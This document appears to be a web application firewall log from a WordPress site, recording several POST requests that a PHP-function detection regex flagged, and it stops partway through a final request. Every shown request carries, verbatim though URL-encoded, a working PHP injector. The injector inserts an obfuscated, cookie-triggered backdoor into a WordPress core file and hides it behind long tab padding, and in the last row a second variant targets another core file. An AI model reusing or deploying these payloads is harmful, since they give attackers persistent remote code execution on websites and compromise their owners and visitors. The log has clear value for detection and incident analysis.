["2026-05-12 19:47:14","87.106.235.29","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Py:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Crypto.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-97%252B97%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B7%252B-6%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B68%252B-65%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-74%252B78%255D%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524parameter_group%2529%2520%257B%2520%2524binding%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252703b10007%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522core_engine%2522%253B%2520%257D%2520%2524factor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524binding%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524reference%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524reference%252C%2520%2524factor%2529%253B%2520fclose%2528%2524reference%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524desc%2520%253D%2520%25223df390bd257d7ff02f8d05b3f1b3aa02%2522%253B%2520if%2520%2528%2521strncmp%2528%2524desc%252C%2520%2524binding%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522right_pad_string_restore_state%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\ncontent-length:4373\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHUxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nPy=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Crypto.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-97%252B97%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B7%252B-6%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B68%252B-65%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-74%252B78%255D%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524parameter_group%2529%2520%257B%2520%2524binding%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252703b10007%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522core_engine%2522%253B%2520%257D%2520%2524factor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524binding%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524reference%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524reference%252C%2520%2524factor%2529%253B%2520fclose%2528%2524reference%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524desc%2520%253D%2520%25223df390bd257d7ff02f8d05b3f1b3aa02%2522%253B%2520if%2520%2528%2521strncmp%2528%2524desc%252C%2520%2524binding%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522right_pad_string_restore_state%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:47:18","148.113.9.51","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Qo:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Crypto.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-97%252B97%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B7%252B-6%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B68%252B-65%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-74%252B78%255D%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524parameter_group%2529%2520%257B%2520%2524binding%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252703b10007%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522core_engine%2522%253B%2520%257D%2520%2524factor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524binding%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524reference%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524reference%252C%2520%2524factor%2529%253B%2520fclose%2528%2524reference%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524desc%2520%253D%2520%25223df390bd257d7ff02f8d05b3f1b3aa02%2522%253B%2520if%2520%2528%2521strncmp%2528%2524desc%252C%2520%2524binding%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522right_pad_string_restore_state%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-dest:document\ncontent-length:4373\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHJ8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\naccept-encoding:gzip,deflate\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-fetch-user:?1\n\nQo=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Crypto.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-97%252B97%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B7%252B-6%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B68%252B-65%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-74%252B78%255D%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524parameter_group%2529%2520%257B%2520%2524binding%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252703b10007%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522core_engine%2522%253B%2520%257D%2520%2524factor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524binding%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524reference%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524reference%252C%2520%2524factor%2529%253B%2520fclose%2528%2524reference%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524desc%2520%253D%2520%25223df390bd257d7ff02f8d05b3f1b3aa02%2522%253B%2520if%2520%2528%2521strncmp%2528%2524desc%252C%2520%2524binding%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522right_pad_string_restore_state%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:47:32","98.130.43.189","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Crypto.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-97%252B97%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B7%252B-6%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B68%252B-65%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-74%252B78%255D%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524parameter_group%2529%2520%257B%2520%2524binding%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252703b10007%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522core_engine%2522%253B%2520%257D%2520%2524factor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524binding%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524reference%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524reference%252C%2520%2524factor%2529%253B%2520fclose%2528%2524reference%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524desc%2520%253D%2520%25223df390bd257d7ff02f8d05b3f1b3aa02%2522%253B%2520if%2520%2528%2521strncmp%2528%2524desc%252C%2520%2524binding%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522right_pad_string_restore_state%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4396\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\naccept-encoding:gzip,deflate\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-fetch-user:?1\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Crypto.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-97%252B97%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B7%252B-6%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B68%252B-65%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-74%252B78%255D%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524parameter_group%2529%2520%257B%2520%2524binding%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252703b10007%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522core_engine%2522%253B%2520%257D%2520%2524factor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524binding%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524reference%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524reference%252C%2520%2524factor%2529%253B%2520fclose%2528%2524reference%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524desc%2520%253D%2520%25223df390bd257d7ff02f8d05b3f1b3aa02%2522%253B%2520if%2520%2528%2521strncmp%2528%2524desc%252C%2520%2524binding%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522right_pad_string_restore_state%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 19:47:41","190.92.169.79","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> pC:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-bindings\/term-data.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522d%255Cx61t%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524elem%2520%253D%2520%2524_REQUEST%255B%2522d%255Cx61t%2522%255D%253B%2520%2524elem%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524elem%2520%2529%253B%2520%2524itm%2520%253D%2520%2527%2527%253B%2520%2524s9%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s9%2529%253B%2520foreach%2520%2528%2524elem%2520as%2520%2524x%2520%253D%253E%2520%2524v8%2529%